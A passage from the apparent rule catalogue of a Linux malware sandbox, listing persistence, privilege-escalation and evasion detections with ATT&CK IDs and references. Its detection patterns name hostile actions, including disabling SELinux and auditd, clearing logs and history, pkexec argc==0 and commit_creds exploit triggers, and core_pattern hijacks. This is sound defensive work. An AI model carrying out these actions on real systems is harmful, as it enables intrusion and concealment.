Why this tier: a sample adding a key gives its operator a login.
References: Trend Micro, Backdoor.SH.SHELLBOT.AA (Outlaw; writes the attacker’s key to authorized_keys), Elastic: SSH Authorized Keys File Activity.

`persistence.xdg_autostart` — desktop autostart entry

MEDIUM · Persistence · ✅ · Planned 0.7.1
ATT&CK: T1547.013 XDG Autostart Entries (DET0390)
Trigger: a change under ~/.config/autostart/, /etc/xdg/autostart/ or KDE’s autostart directories.
Data: syscall trace; path class persistence.
Why this tier: desktop applications register themselves to start at login.
References: RotaJakiro report (above; $HOME/.config/au-tostart/gnomehelper.desktop), Elastic: KDE AutoStart Script or Desktop File Creation, XDG Autostart specification.

`persistence.udev` — udev rule written

HIGH · Persistence · ✅ · Planned 0.7.1
ATT&CK: T1546.017 Udev Rules (DET0375)
Trigger: a change under /etc/udev/rules.d/, /lib/udev/rules.d/, /usr/lib/udev/rules.d/ or /run/udev/rules.d/.
Data: syscall trace.
Why this tier: only hardware packages add udev rules.
References: Stroz Friedberg, Unveiling sedexp (2024), Elastic: Systemd-udevd Rule File Creation, udev(7).

`persistence.pam` — PAM module or configuration changed

HIGH · Persistence · ✅ · Planned 0.7.1
ATT&CK: T1556.003 Pluggable Authentication Modules (DET0454)
Trigger: a change under /etc/pam.d/, /etc/security/, or to a pam_*.so under /lib*/security, /usr/lib*/security or a multiarch security directory.
Data: syscall trace.
Why this tier: a backdoored PAM module accepts a magic password and logs real ones.
References: Nextron Systems, Plague: A Newly Discovered PAM-Based Backdoor for Linux (2025), Elastic: Potential Backdoor Execution Through PAM_EXEC, pam(8).

`persistence.module` — kernel module loaded

HIGH · Persistence (also feeds Rootkit) · ✅ · Exists in 0.7.0 (high)
ATT&CK: T1547.006 Kernel Modules and Extensions (DET0450)
Trigger: init_module (175) or finit_module (313); planned 0.8.0: the module image is kept as evidence.
Data: syscall trace (the init_module image and finit_module descriptor are recorded).
Why this tier: loading a module from a sample run is how LKM rootkits install. A failed load (no CAP_SYS_MODULE) is MEDIUM.
References: Diamorphine, Reptile, Sigma: Loading of Kernel Module via Insmod, init_module(2).

`persistence.module_autoload` — module set to load at boot

HIGH · Persistence · ✅ · Planned 0.7.1
ATT&CK: T1547.006 Kernel Modules and Extensions (DET0450)
Trigger: a change to /etc/modules, /etc/modules-load.d/*, /etc/modprobe.d/*, or a new *.ko under /lib/modules/.
Data: syscall trace.
Why this tier: as persistence.module.
References: Elastic: Loadable Kernel Module Configuration File Creation, modules-load.d(5).

`persistence.apt_hook` — package manager hook

MEDIUM · Persistence · ✅ · Planned 0.7.1
ATT&CK: T1546.016 Installer Packages (DET0330)
Trigger: a change under /etc/apt/apt.conf.d/, /etc/dpkg/dpkg.cfg.d/, /etc/yum/pluginconf.d/, /etc/dnf/plugins/, or a DPkg::Post-Invoke/APT::Update::Pre-Invoke line written anywhere.
Data: syscall trace; captured bytes.
Why this tier: packages add hooks; the command in the hook decides.
References: Elastic: APT Package Manager Configuration File Creation.

`persistence.web_shell` — script dropped into a web root

MEDIUM · Persistence · ✅ · Planned 0.7.1
ATT&CK: T1505.003 Web Shell (DET0394)
Trigger: a created .php, .jsp, .asp*, .cgi, .pl or .py file under /var/www, /srv/www, /usr/share/nginx, or a CGI directory.
Data: syscall trace.
Why this tier: web applications write files there too.
References: Sigma: Linux Webshell Indicators, Elastic: Suspicious Child Execution via Web Server.

`persistence.binary_replace` — system program or library replaced

HIGH · Persistence · ✅ · Planned 0.7.1
ATT&CK: T1554 Compromise Host Software Binary (DET0336)
Trigger: a write, truncate or rename onto a file with path class system (/bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /lib*, /usr/lib*), other than by a package manager.
Data: syscall trace; file lifecycle; written-file hash.
Why this tier: trojanised sshd, ps or libkeyutils are classic; a sample run has no reason to replace them.
References: ESET, An In-depth Analysis of Linux/Ebury (2014), ESET, The Dark Side of the ForSSHe (2018), Elastic: Renaming of OpenSSH Binaries.

`persistence.account` — local account created or changed

HIGH · Persistence · ✅ · Planned 0.7.1
ATT&CK: T1136.001 Local Account (DET0447), T1098 Account Manipulation (DET0096)
Trigger: a change to /etc/passwd, /etc/shadow, /etc/group, /etc/gshadow, or an exec of useradd, adduser, usermod, chpasswd, passwd with a user argument.
Data: syscall trace; captured bytes show the added line.
Why this tier: a new account, especially uid 0, is a backdoor login.
References: Sigma: Creation Of An User Account, Sigma: Privileged User Has Been Created, Elastic: Potential Linux Backdoor User Account Creation.

`persistence.config_write` — other configuration change

LOW · Persistence · ✅ · Exists in 0.7.0 as medium; LOW fallback in 0.7.1 (version 2)
ATT&CK: tactic TA0003 Persistence only; no sub-technique is claimed
Trigger: 0.7.0: a write-like call (write*, truncate, rename*, unlink*, chmod, chown, or an open with O_CREAT/O_TRUNC) under /etc/, /root/.ssh/, /var/spool/cron/, /usr/lib/systemd/, /lib/systemd/, or a home directory’s .ssh, .config, .bashrc, .profile. Version 2: only paths that none of the specific persistence rules above matched, using the shared path classes.
Data: syscall trace.
Why this tier: /etc/resolv.conf, /etc/hostname, /etc/mtab and similar files change for ordinary reasons.
References: Triage files for the path classes.

Privilege escalation

`privilege.drop` — privileges given up

INFO · Privilege escalation · 🔶 · Planned 0.7.1 (replaces part of privilege.change)
ATT&CK: no technique; context for T1548 Abuse Elevation Control Mechanism
Trigger: a lifecycle.creds record with lower ids or fewer capabilities than the task’s previous record.
Data: kernel record lifecycle.creds.
Why this tier: daemons drop root after start; it explains later failures.
References: credentials(7).

`privilege.gain` — privileges gained through a normal path

MEDIUM · Privilege escalation · 🔶 · Planned 0.7.1 (replaces part of privilege.change)
ATT&CK: T1548.001 Setuid and Setgid (DET0110)
Trigger: a lifecycle.creds record whose effective uid becomes 0, or that adds capabilities in the initial user namespace, with a known reason (SetUid, SetRes, CapSet, Prctl, ExecSetId, ExecCaps).
Data: kernel record lifecycle.creds (ids are mapped to the initial user namespace).
Why this tier: sudo, su, pkexec and setuid helpers do exactly this; it matters with what follows.
References: credentials(7), capabilities(7).
Correction: 0.7.0’s privilege.change (setuid, setgid, setreuid, setregid, setresuid, setresgid, setfsuid, setfsgid, capset) fires on drops and misses gains through a setuid exec, which makes no credential syscall.

`privilege.setuid_exec` — setuid or file-capability program run

LOW · Privilege escalation · ✅ · Planned 0.7.1
ATT&CK: T1548.001 Setuid and Setgid
Trigger: a lifecycle.creds record with reason ExecSetId or ExecCaps. MEDIUM when the image is in a temp or hidden directory or was written by the run.
Data: kernel record lifecycle.creds.
Why this tier: ping, passwd, sudo and mount are setuid on many systems.
References: execve(2) set-user-ID.

`privilege.setid_bit` — setuid bit or file capability set

HIGH · Privilege escalation · ✅ · Planned 0.7.1
ATT&CK: T1548.001 Setuid and Setgid (DET0110)
Trigger: chmod/fchmod/fchmodat/fchmodat2 setting S_ISUID (04000) or S_ISGID (02000) on a regular file; setxattr/fsetxattr/lsetxattr of security.capability.
Data: syscall trace; Triage file category Permissions and Xattrs.
Why this tier: a planted setuid shell is a root backdoor; only package installs set these bits.
References: Elastic: SUID/SGID Bit Set, Elastic: Setcap setuid/setgid Capability Set, Sigma: Setuid and Setgid.

`privilege.pwnkit` — `pkexec` started with no arguments

HIGH · Privilege escalation · ✅ · Planned 0.7.1
ATT&CK: T1068 Exploitation for Privilege Escalation (DET0514)
Trigger: an exec of pkexec with an empty argument vector (argc == 0), or with GCONV_PATH in its environment.
Data: syscall trace (argv and envp are captured).
Why this tier: no legitimate caller does this; it is the CVE-2021-4034 trigger.
References: Qualys, PwnKit advisory, Elastic: Potential Privilege Escalation via PKEXEC.

`privilege.kernel_exploit` — root without a legitimate path

HIGH · Privilege escalation · 🔶 · Planned 0.7.1 (from the credential records the guest writes since 0.7.0)
ATT&CK: T1068 Exploitation for Privilege Escalation (DET0514)
Trigger: a lifecycle.creds record with reason Other (the kernel changed credentials during a call that is not a credential call or an exec, such as an ioctl, write, setsockopt, bpf or keyctl) whose effective uid becomes 0 or that adds CAP_SYS_ADMIN/CAP_SYS_MODULE in the initial user namespace, for a task that did not have them.
Data: kernel record lifecycle.creds; the guest writes it from commit_creds(), so an exploit that calls commit_creds(prepare_kernel_cred(0)) is caught under the call that ran the exploit.
Why this tier: the kernel only changes credentials on its own for exploits.
Testing: a fixture recorded in a test base with a deliberately vulnerable test module (or a test-only kernel path) that calls commit_creds(prepare_kernel_cred(0)) from an ioctl, so the rule is checked against a real Other record without shipping an exploit.
References: Credentials in Linux (kernel documentation), credentials(7), Elastic: UID Elevation from Previously Unknown Executable.

`privilege.cred_overwrite` — credentials changed without `commit_creds`

HIGH · Privilege escalation · 🔷 · Planned 0.8.0
ATT&CK: T1068 Exploitation for Privilege Escalation
Trigger: the task’s credentials at syscall exit differ from its last record although no record was written (a direct overwrite of struct cred). Needs a new guest check at syscall exit.
Data: new kernel data.
Why this tier: only memory-corruption exploits change credentials in place.
References: Credentials in Linux (“must not be modified once committed”).

`privilege.sudoers` — sudo rules changed

HIGH · Privilege escalation · ✅ · Planned 0.7.1
ATT&CK: T1548.003 Sudo and Sudo Caching (DET0052)
Trigger: a change to /etc/sudoers or /etc/sudoers.d/*.
Data: syscall trace; path class credentials.
Why this tier: a NOPASSWD line is a privilege backdoor.
References: Sigma: Persistence Via Sudoers Files, Elastic: Sudoers File Activity.

`privilege.userns` — new user namespace

MEDIUM · Privilege escalation · ✅ · Planned 0.7.1
ATT&CK: context for T1068; creating a namespace is not itself a technique
Trigger: unshare, clone or clone3 with CLONE_NEWUSER (0x10000000).
Data: syscall trace.
Why this tier: Chromium’s sandbox, Flatpak, bubblewrap and rootless containers do it; many kernel exploits need it to reach CAP_SYS_ADMIN-only code (nf_tables, filesystems).
References: user_namespaces(7), Ubuntu, Restricted unprivileged user namespaces are coming to Ubuntu 23.10, CVE-2022-0185 write-up, Flipping Pages (CVE-2024-1086), Elastic: Namespace Manipulation Using Unshare.

`privilege.kernel_helper_hijack` — kernel helper path changed

HIGH · Privilege escalation · ✅ · Planned 0.7.1
ATT&CK: T1611 Escape to Host (DET0219); for binfmt_misc, T1546 Event Triggered Execution (no sub-technique exists)
Trigger: a write to /proc/sys/kernel/core_pattern (a | handler), /proc/sys/kernel/modprobe, /proc/sys/kernel/hotplug or /sys/kernel/uevent_helper, or a registration under /proc/sys/fs/binfmt_misc/.
Data: syscall trace (written bytes are captured).
Why this tier: these make the kernel run a program as root; crash reporters set core_pattern at boot, not during a sample run.
References: core(5), sysctl/kernel, binfmt_misc, Elastic: Potential Container Escape via Kernel core_pattern Modification, Elastic: Binfmt Configuration File Creation.

`privilege.container_escape` — host namespace or container socket

MEDIUM · Privilege escalation · ✅ · Planned 0.7.1
ATT&CK: T1611 Escape to Host (DET0219); T1610 Deploy Container (ATT&CK lists it for Containers only)
Trigger: setns on /proc/1/ns/*, an exec of nsenter -t 1, a connect to /var/run/docker.sock, /run/containerd/containerd.sock or /run/podman/podman.sock, or to TCP port 2375/2376.
Data: syscall trace (sockaddr captured).
Why this tier: container tooling does this legitimately; in a guest without containers it shows container-aware malware.
References: Aqua Kinsing report (above; open Docker API), Elastic: Potential Docker Escape via Nsenter, Elastic: Potential Privilege Escalation through Writable Docker Socket, setns(2).

`privilege.dirty_pipe` — page-cache overwrite through a pipe

HIGH · Privilege escalation · 🔶 · Planned 0.7.1
ATT&CK: T1068 Exploitation for Privilege Escalation
Trigger: splice from a file opened read-only into a pipe, followed by a write into that pipe, where the file is setuid, /etc/passwd or a system binary; confirmed when the file’s next exec or read hash differs.
Data: syscall trace; file hashes.
Why this tier: it is the CVE-2022-0847 pattern; benign programs do not write into a pipe after splicing a read-only file into it.
References: Max Kellermann, The Dirty Pipe Vulnerability, splice(2).

Defense evasion / anti-analysis

This category is the planned Evasion view: there is no separate tab. Select the Defense evasion / anti-analysis chip in Suspicious activity to see every check the sample made and the answer the guest gave. Since ATT&CK v19 the old Defense Evasion tactic is split into Stealth (TA0005) and Defense Impairment (TA0112); several technique IDs moved (for example T1562.001 is now T1685). The IDs below are the current ones.

`memory.rwx` and `memory.rwx_attempt` — writable and executable memory

HIGH (memory.rwx) and MEDIUM (memory.rwx_attempt, the failed call) · Defense evasion / anti-analysis · ✅ · Exist in 0.7.0 (both high); fixed in 0.7.1 (version 2)
ATT&CK: T1620 Reflective Code Loading (DET0300) · MBC C0008 Change Memory Protection
Trigger: mmap (9), mprotect (10) or, from version 2, pkey_mprotect (329), with PROT_WRITE and PROT_EXEC both set. 0.7.0 requires read, write and execute (prot & 7 == 7), so a write-and-execute mapping without read is missed.
Data: syscall trace.
Why this tier: compiled programs never need memory that is writable and executable at once; packers and shellcode loaders do. Java (HotSpot), Mono and some other JIT runtimes do it too: they are on the allow-list and drop to MEDIUM. A refused request (a hardened kernel or policy) is still worth seeing, so the failed form keeps its own row.
References: Elastic: Unknown Execution of Binary with RWX Memory Region, Elastic: Network Connection from Binary with RWX Memory Region, mprotect(2).
Correction: 0.7.0 cites T1055 (process injection) for a change to the process’s own memory; T1620 fits, and T1055 only applies when the memory belongs to another process.

`memory.wx_transition` — written memory made executable

MEDIUM · Defense evasion / anti-analysis · 🔶 · Planned 0.7.1
ATT&CK: T1027.002 Software Packing (DET0023), T1620 · MBC F0001 Software Packing
Trigger: an mprotect that adds PROT_EXEC to an anonymous or private range the same process had mapped or protected writable earlier (followed per process as an address map).
Data: syscall trace.
Why this tier: this is how unpackers and JITs that respect W^X work (write, then flip to read-execute). LuaJIT, V8 and the Java runtime do it constantly and are allow-listed.
References: JPCERT/CC, Anti-UPX Unpacking Technique (2022; Mirai variants), Trajanovski and Zhang, IoT-BDA (IEEE Access 2021; UPX is the most common packer of IoT malware).

`memory.write_then_exec` — code executed from pages written at run time

HIGH · Defense evasion / anti-analysis · 🔷 · Planned 0.7.1 (MMU-level unpacking)
ATT&CK: T1027.002 Software Packing (DET0023), T1620 Reflective Code Loading (DET0300)
Trigger: the guest kernel keeps pages a process wrote non-executable until the first instruction fetch from them; that fault records the region, the original entry point and the jumping instruction, dumps the region, then lets the process continue. Covers unpacking stubs, memfd/execveat and /proc/self/fd loaders, and userland ELF loaders that never call execve.
Data: new kernel data.
Why this tier: native programs do not execute code they just wrote. JIT runtimes do, and get a budget and an allow-list.
References: as memory.wx_transition; Elastic: Potential Fileless Execution via Unusual memfd Create Call.

`memory.unpacked_capture` — unpacked or fileless code captured

INFO · Defense evasion / anti-analysis · 🔷 · Planned 0.7.1
ATT&CK: T1027.002, T1620 when the payload never touched the disk
Trigger: each region dumped by memory.write_then_exec, each memfd or deleted image that was executed. The dump goes to Static analysis with its hash.
Data: new kernel data (dumps).
Why this tier: it is evidence to analyse, linked from the HIGH row that caused it.
References: Cozzi et al., Understanding Linux Malware (IEEE S&P 2018; packed Linux samples are almost all UPX or UPX variants).

`evasion.packed_image` — packed program

LOW · Defense evasion / anti-analysis · ✅ (static) · Planned 0.7.1
ATT&CK: T1027.002 Software Packing (DET0023) · MBC F0001.008 UPX
Trigger: Static analysis of the launched program or of an executed dropped file reports a packer (UPX header, damaged UPX header, high-entropy sections with a tiny import table).
Data: static analysis.
Why this tier: some legitimate tools ship UPX-packed; the behaviour rows matter more.
References: Cozzi et al. (above), JPCERT/CC (above).

`evasion.self_delete` — program deletes its own file

HIGH · Defense evasion / anti-analysis · 🔶 · Planned 0.7.1
ATT&CK: T1070.004 File Deletion (DET0140) · MBC F0007 Self Deletion
Trigger: unlink, unlinkat or rename of the inode a still-running process was executed from (exec image identity from lifecycle.file_id/lifecycle.exec_image, else the path), or a written file whose last-close hash record says no name is left.
Data: kernel records; syscall trace.
Why this tier: installers sometimes remove themselves; malware does it to leave nothing on disk. On bases built before 0.7.0, Antinomie’s own resource collector does it too and is excluded (see Noise handling).
References: Mirai bot/main.c (unlink(args[0])), Sandfly BPFDoor analysis (below), Sysdig, VoidLink threat analysis (2026), Elastic: Process Execution Followed by Self-Deletion.

`evasion.log_clear` — system logs cleared

HIGH · Defense evasion / anti-analysis · ✅ · Planned 0.7.1
ATT&CK: T1685.006 Clear Linux or Mac System Logs (formerly T1070.002; DET0520)
Trigger: unlink, truncate or O_TRUNC open of files under /var/log/, wtmp, btmp, lastlog, utmp, the journal; syslog(2) with SYSLOG_ACTION_CLEAR (5) or READ_CLEAR (4); an exec of journalctl --vacuum-* or --rotate.
Data: syscall trace.
Why this tier: log rotation is done by logrotate and journald on schedule, not by samples.
References: Sysdig VoidLink report (above; wipes auth.log, syslog, audit.log), Aqua Kinsing report (clears logs), Sigma: Clear or Disable Kernel Ring Buffer Logs via Syslog Syscall, Sigma: Linux Logs Clearing Attempts, syslog(2).

`evasion.history_clear` — command history cleared or disabled

MEDIUM · Defense evasion / anti-analysis · ✅ · Planned 0.7.1
ATT&CK: T1070.003 Clear Command History (DET0165)
Trigger: unlink, truncate or symlink to /dev/null of .bash_history, .zsh_history and similar; an exec whose environment sets HISTFILE=/dev/null, HISTSIZE=0 or HISTFILESIZE=0; history -c in a captured shell command line.
Data: syscall trace (envp and argv captured).
Why this tier: users clear history too; in a sample run it is covering tracks.
References: Sandfly Security, BPFDoor – An Evasive Linux Backdoor Technical Analysis (HISTFILE=/dev/null), Unit 42 Hildegard report (history -c), Sigma: Linux Command History Tampering.

`evasion.security_disable` — security tools or policies turned off

HIGH · Defense evasion / anti-analysis · ✅ · Planned 0.7.1
ATT&CK: T1685 Disable or Modify Tools (formerly T1562.001; DET0497)
Trigger: a write of 0 to /sys/fs/selinux/enforce, a write of SELINUX=disabled to /etc/selinux/config, an exec of setenforce 0, aa-teardown, systemctl stop|disable|mask of apparmor, auditd, falcon-sensor, osqueryd, wazuh-agent and similar, or uninstall scripts of cloud agents (aegis, aliyun-service, cloudmonitor, qcloud).
Data: syscall trace.
Why this tier: administrators rarely do this, and a sample has no reason to.
References: Unit 42 Rocke report (above; uninstalls Alibaba and Tencent agents), Trend Micro, TeamTNT Returns – or Does It? (2022), Elastic: Potential Disabling of SELinux, Sigma: Disabling Security Tools.

`evasion.firewall_modify` — firewall flushed or changed

MEDIUM · Defense evasion / anti-analysis · ✅ · Planned 0.7.1
ATT&CK: T1686 Disable or Modify System Firewall (formerly T1562.004; DET0145)
Trigger: an exec of iptables -F/-X/-P ACCEPT, iptables -t nat -A … REDIRECT, nft flush ruleset, ufw disable, systemctl stop firewalld; netfilter setsockopt(IPT_SO_SET_REPLACE) or nftables netlink messages from the sample.
Data: syscall trace.
Why this tier: container runtimes and VPNs change rules all the time.
References: Sandfly BPFDoor analysis (above; iptables redirect), Lumen, KV-botnet investigation (2023), Sigma: Flush Iptables Ufw Chain.

`evasion.audit_disable` — Linux audit turned off

HIGH · Defense evasion / anti-analysis · ✅ · Planned 0.7.1
ATT&CK: T1685.004 Disable or Modify Linux Audit System Log (formerly T1562.012; DET0062)
Trigger: an exec of auditctl -D or -e 0, a change to /etc/audit/*, or an AUDIT_SET netlink message on a NETLINK_AUDIT socket that disables auditing.
Data: syscall trace (netlink payloads captured).
Why this tier: audit configuration is changed by administrators, not programs.
References: ESET, Ebury is alive but unseen (2024), Sigma: Audit Rules Deleted Via Auditctl.

`evasion.masquerade_kthread` — user process named like a kernel thread

HIGH · Defense evasion / anti-analysis · ✅ · Planned 0.7.1
ATT&CK: T1036.005 Match Legitimate Resource Name or Location (DET0347) for the task name; T1036.011 Overwrite Process Arguments (DET0164) for argv
Trigger: prctl(PR_SET_NAME) (15) or a write to /proc/self/comm with a name in brackets or matching a kernel thread (kworker/…, ksoftirqd, kthreadd, migration/N, bioset); an exec whose argv[0] is such a name.
Data: syscall trace (the name is captured at entry).
Why this tier: user programs never pretend to be kernel threads.
References: NCSC, Cyclops Blink Malware Analysis Report ([kworker:0/1]), Sysdig VoidLink report (above; [kworker/0:0] via PR_SET_NAME), Elastic: Potential Process Name Stomping with Prctl, PR_SET_NAME(2const).

`evasion.masquerade_daemon` — process renamed to a system program

MEDIUM · Defense evasion / anti-analysis · ✅ · Planned 0.7.1
ATT&CK: T1036.005, T1036.011
Trigger: PR_SET_NAME or argv[0] set to a daemon name (sshd, systemd-journald, dbus-daemon, crond, udevd, /sbin/agetty…) that differs from the executed image, or a random-looking name.
Data: syscall trace. A process that overwrites its argv memory without a system call is not seen; the planned process view compares /proc/PID/cmdline reads.
Why this tier: programs set thread names for their own workers (worker-1, JVM threads); only names on the daemon list count.
References: Sandfly BPFDoor analysis (above; runs as /sbin/udevd -d and similar), Mirai bot/main.c (random argv[0] and PR_SET_NAME), Cozzi et al. (above).

`evasion.sandbox_probe` — virtual machine or sandbox checks

MEDIUM · Defense evasion / anti-analysis · 🔶 · Planned 0.7.1
ATT&CK: T1497.001 System Checks (DET0168) · MBC B0009 Virtual Machine Detection
Trigger: one process probes two or more classes of VM evidence: /sys/class/dmi/id/{sys_vendor,product_name,board_vendor,bios_vendor,product_uuid}, /proc/cpuinfo (the hypervisor flag), /proc/scsi/scsi, /sys/hypervisor, /proc/xen, /dev/vboxguest, /sys/bus/pci/devices/*/vendor, MAC address prefixes, /proc/uptime, dmidecode, lscpu, systemd-detect-virt, virt-what. A single probe is INFO.
Data: syscall trace. Details shows the answer the guest gave (the bytes read), which the VM’s Stealth profile decides, and what the process did in the next 30 seconds.
Why this tier: many programs read cpuinfo alone; reading several VM indicators is a check.
References: Cozzi et al. (above; Table XIV lists these files in Linux malware), Elastic: Virtual Machine Fingerprinting.

`evasion.probe_then_exit` — checks followed by an early exit

MEDIUM · Defense evasion / anti-analysis · 🔶 · Planned 0.7.1
ATT&CK: T1497.001 System Checks
Trigger: a process with an evasion.sandbox_probe, evasion.debugger_check or evasion.container_check row exits or sleeps within 5 seconds of a VM-revealing answer, without network or file activity.
Data: syscall trace; process tree.
Why this tier: it tells you the sample probably held back; try another Stealth profile.
References: as evasion.sandbox_probe.

`evasion.traceme` — anti-debugging with `PTRACE_TRACEME`

MEDIUM · Defense evasion / anti-analysis · ✅ · Planned 0.7.1 (split from process.ptrace)
ATT&CK: T1622 Debugger Evasion (DET0371) · MBC B0001 Debugger Detection
Trigger: ptrace(PTRACE_TRACEME) (request 0) not followed by an exec in the same process, or a process that attaches to its own parent.
Data: syscall trace. The result says whether a debugger was seen: Antinomie’s debugger does not use ptrace, so the call succeeds unless something else traces the sample.
Why this tier: a debugger’s child calls TRACEME right before exec; a program that calls it for itself is checking for a debugger.
References: Trajanovski and Zhang, IoT-BDA (2021; PTRACE_TRACEME in IoT botnet samples), Cozzi et al. (above), ptrace(2).

`evasion.debugger_check` — `TracerPid` and similar checks

LOW · Defense evasion / anti-analysis · 🔶 · Planned 0.7.1
ATT&CK: T1622 Debugger Evasion (DET0371)
Trigger: a read of /proc/self/status or /proc/PID/status whose captured bytes include TracerPid: and that is followed by a branch-like effect (exit, sleep, or a different path), a SIGTRAP handler installed with rt_sigaction, or prctl(PR_GET_DUMPABLE) probes.
Data: syscall trace (the value the guest returned is shown).
Why this tier: runtimes read /proc/self/status for memory statistics.
References: Sysdig VoidLink report (above; checks TracerPid), proc_pid_status(5).

`evasion.container_check` — container checks

LOW · Defense evasion / anti-analysis · ✅ · Planned 0.7.1
ATT&CK: T1497.001 System Checks, also T1082
Trigger: a probe of /.dockerenv, /run/.containerenv, /proc/1/cgroup, /proc/self/cgroup or /proc/1/sched by the sample.
Data: syscall trace.
Why this tier: many tools check where they run; container-aware malware decides its payload this way.
References: Sysdig VoidLink report (above; /.dockerenv and cgroup checks), Sigma: Docker Container Discovery Via Dockerenv Listing.

`evasion.long_sleep` — long sleep before doing anything

MEDIUM · Defense evasion / anti-analysis · 🔶 · Planned 0.7.1
ATT&CK: T1497.003 Time Based Checks (formerly “Time Based Evasion”; DET0141) · MBC B0003.003 Delayed Execution
Trigger: nanosleep, clock_nanosleep, select/poll/epoll_wait with no descriptors, or alarm/timerfd that asks for 60 seconds or more before the process’s first network or file write; LOW for later long sleeps.
Data: syscall trace (the requested time is an argument).
Why this tier: daemons sleep between jobs; sleeping before the first action is how samples outwait sandboxes.
References: nanosleep(2); Cozzi et al. (above) found no stalling code in their 2018 Linux corpus, so treat this as context.

`evasion.cpuid_probe` and `evasion.timing_probe` — CPU-level VM checks

MEDIUM (cpuid_probe) and LOW (timing_probe) · Defense evasion / anti-analysis · 🔷 · Planned, version not set
ATT&CK: T1497.001 System Checks, T1497.003 Time Based Checks · MBC B0009.034 (CPUID), B0009.036 (RDTSC)
Trigger: the CPUID hypervisor leaves (0x40000000…) or the hypervisor bit, executed by the sample, trapped through CPUID faulting; dense RDTSC loops trapped through CR4.TSD.
Data: new kernel data. The kernel’s per-task CPUID faulting (ARCH_SET_CPUID) is reset on execve, so the guest has to arm it after the sample’s exec.
Why this tier: the C library runs CPUID at start for feature detection, so only the hypervisor leaves count; timing loops are also used for benchmarking.
References: arch_prctl(2) ARCH_SET_CPUID.

`evasion.timestomp` — file times set back

MEDIUM · Defense evasion / anti-analysis · ✅ · Planned 0.7.1
ATT&CK: T1070.006 Timestomp (DET0591)
Trigger: utimensat, utimes, futimesat or utime with explicit times (not “now”), especially copied from another file (touch -r: a stat of a reference, then the same times set).
Data: syscall trace; Triage file category Timestamps.
Why this tier: tar, cp -p, rsync and package managers set times on purpose; they are allow-listed.
References: Sandfly BPFDoor analysis (above; sets times to 2008), NCSC Cyclops Blink report (above; utime), Sigma: File Time Attribute Change - Linux, utimensat(2).

`evasion.kill_list` — other programs killed

MEDIUM · Defense evasion / anti-analysis · 🔶 · Planned 0.7.1
ATT&CK: T1489 Service Stop (DET0021); T1685 Disable or Modify Tools when the targets are security tools. ATT&CK has no technique for killing rival malware.
Trigger: kill, tkill, tgkill or pidfd_send_signal with SIGKILL/SIGTERM to five or more processes that are not the sample’s descendants, usually after reading their /proc/PID/cmdline or exe; or an exec of pkill/killall with a list of names.
Data: syscall trace; process tree.
Why this tier: service managers stop processes; samples clear the machine of rival miners and bots.
References: Mirai bot/killer.c, Unit 42 Rocke report (above; kills other miners), Aqua Kinsing report (above).

`evasion.hidden_artifact` — hidden file or directory created

LOW · Defense evasion / anti-analysis · ✅ · Planned 0.7.1
ATT&CK: T1564.001 Hidden Files and Directories (DET0032) · MBC F0005.002
Trigger: creation of a file or directory whose name starts with . under /tmp, /var/tmp, /dev/shm, /usr/share, /lib or another system directory, or with a name such as ... or a single space.
Data: syscall trace; path class hidden.
Why this tier: dotfiles in home directories are normal and are not counted.
References: Trend Micro TeamTNT report (above; /usr/share/..hide), Sigma: Hidden Files and Directories.

`evasion.immutable_attr` — file made immutable or append-only

HIGH · Defense evasion / anti-analysis · ✅ · Planned 0.7.1
ATT&CK: T1222.002 Linux and Mac Permissions (DET0351)
Trigger: ioctl(FS_IOC_SETFLAGS) setting or clearing FS_IMMUTABLE_FL or FS_APPEND_FL, or an exec of chattr +i/-i/+a. HIGH when the file is a persistence or credential path.
Data: syscall trace.
Why this tier: rarely used outside hardening; miners lock their cron entries and keys this way.
References: Trend Micro, Analysis of Kinsing Malware’s Use of Rootkit (2020), Trend Micro TeamTNT report (above), Elastic: File made Immutable by Chattr, ioctl_iflags(2).

`evasion.proc_hide_mount` — mount over a `/proc` entry

HIGH · Defense evasion / anti-analysis · ✅ · Planned 0.7.1
ATT&CK: T1564.013 Bind Mounts (DET0428)
Trigger: mount with MS_BIND (or the new mount API) whose target is /proc/PID or a file under it, or a mount of /proc with hidepid.
Data: syscall trace (mount arguments are captured).
Why this tier: it hides a process from ps; nothing benign does it.
References: Lumen KV-botnet report (above; bind-mounts over /proc), mount(2), Elastic: Suspicious Path Mounted.

`evasion.sysctl_security` — kernel protections weakened

MEDIUM · Defense evasion / anti-analysis · ✅ · Planned 0.7.1
ATT&CK: T1685 Disable or Modify Tools (DET0497)
Trigger: a write to /proc/sys/kernel/randomize_va_space, kptr_restrict, dmesg_restrict, yama/ptrace_scope, kernel.unprivileged_bpf_disabled, or personality(ADDR_NO_RANDOMIZE) before an exec.
Data: syscall trace.
Why this tier: debuggers disable ASLR for their child; exploits do it too.
References: Elastic: Suspicious Kernel Feature Activity, Sigma: ASLR Disabled Via Sysctl or Direct Syscall - Linux.

`evasion.dumpable_off` — process made non-dumpable

LOW · Defense evasion / anti-analysis · ✅ · Planned 0.7.1
ATT&CK: T1622 Debugger Evasion (weak fit) · MBC B0002 Debugger Evasion
Trigger: prctl(PR_SET_DUMPABLE, 0).
Data: syscall trace.
Why this tier: ssh-agent, gpg-agent and sshd do it to protect secrets; it also blocks ptrace attach and core dumps. Antinomie’s process cores do not depend on it.
References: PR_SET_DUMPABLE(2const).

`evasion.io_uring_usage` — work done through `io_uring`

INFO · Defense evasion / anti-analysis · ✅ · Planned 0.7.1
ATT&CK: none; context for every other rule
Trigger: io_uring_setup or io_uring_enter by the sample.
Data: syscall trace; async observations.
Why this tier: high-performance programs use io_uring. It is shown because work submitted through a ring makes few system calls; Antinomie reads file requests from the ring, but socket requests are not yet expanded (see Async observations).
References: ARMO, io_uring Is Back, This Time as a Rootkit (2025; the Curing proof of concept evades system-call monitoring).

`bpf.seccomp_filter` — seccomp filter installed

LOW · Defense evasion / anti-analysis · ✅ · Exists in 0.7.0 as medium; LOW in 0.7.1 (version 2)
ATT&CK: no technique mentions seccomp; context only
Trigger: seccomp(SECCOMP_SET_MODE_FILTER) or prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER).
Data: syscall trace; the filter is decoded in Triage → eBPF.
Why this tier: systemd services, browsers, OpenSSH and container runtimes all install filters. A sample can use one to block analysis calls, which the decoded filter shows.
References: seccomp(2), Seccomp BPF.

Credential access

`credential.shadow_read` — password hashes read

HIGH · Credential access · ✅ · Planned 0.7.1
ATT&CK: T1003.008 /etc/passwd and /etc/shadow (DET0446)
